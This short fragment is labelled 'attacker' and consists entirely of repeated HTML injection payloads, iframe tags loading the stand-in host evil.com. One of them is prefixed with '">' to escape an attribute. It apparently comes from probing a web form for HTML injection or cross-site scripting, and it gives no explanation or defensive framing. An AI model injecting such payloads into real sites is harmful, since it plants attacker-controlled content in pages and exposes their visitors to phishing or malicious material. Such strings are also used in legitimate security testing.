attacker
<iframe src=https://evil.com></iframe> <iframe src=https://evil.com></iframe><iframe src=https://evil.com></iframe> <iframe src=https://evil.com></iframe><iframe src=https://evil.com></iframe><iframe src=https://evil.com></iframe> "><iframe src=https://evil.com></iframe>
